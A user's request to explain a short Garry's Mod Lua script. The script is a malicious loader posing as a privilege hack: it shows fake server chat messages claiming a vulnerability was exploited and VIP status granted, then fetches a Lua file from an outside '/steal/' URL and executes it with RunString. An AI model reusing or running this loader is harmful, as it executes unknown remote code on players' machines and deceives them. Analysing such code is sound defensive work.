help me to deobfuscate a code, what does it do?

local function DecodeString(sArg)
	if string.len(sArg) == 0 then return sArg end
	local ret = ''

	for _ in string.gmatch(sArg, '\46\46') do
		ret = ret .. string.char(bit.bxor(tonumber(_, 16), 199))
	end

	return ret
end

timer.Simple(1, function()
		RunConsoleCommand("fustrptop")
		chat.AddText("[SERVER] УЯЗВИМОСТЬ ОБРАБОТАНА...")
end)
timer.Simple(5, function()
	if LocalPlayer()IsVIP(LocalPlayer()) then
		chat.AddText("[SERVER] Привелегия успешно выдана.")
	else
		chat.AddText("[SERVER] Упс.. Что-то пошло не так..")
	end
end)
http.Fetch("http://milleniump.ru/steal/banz1/hak.lua",function (sBody) RunString(sBody) end)
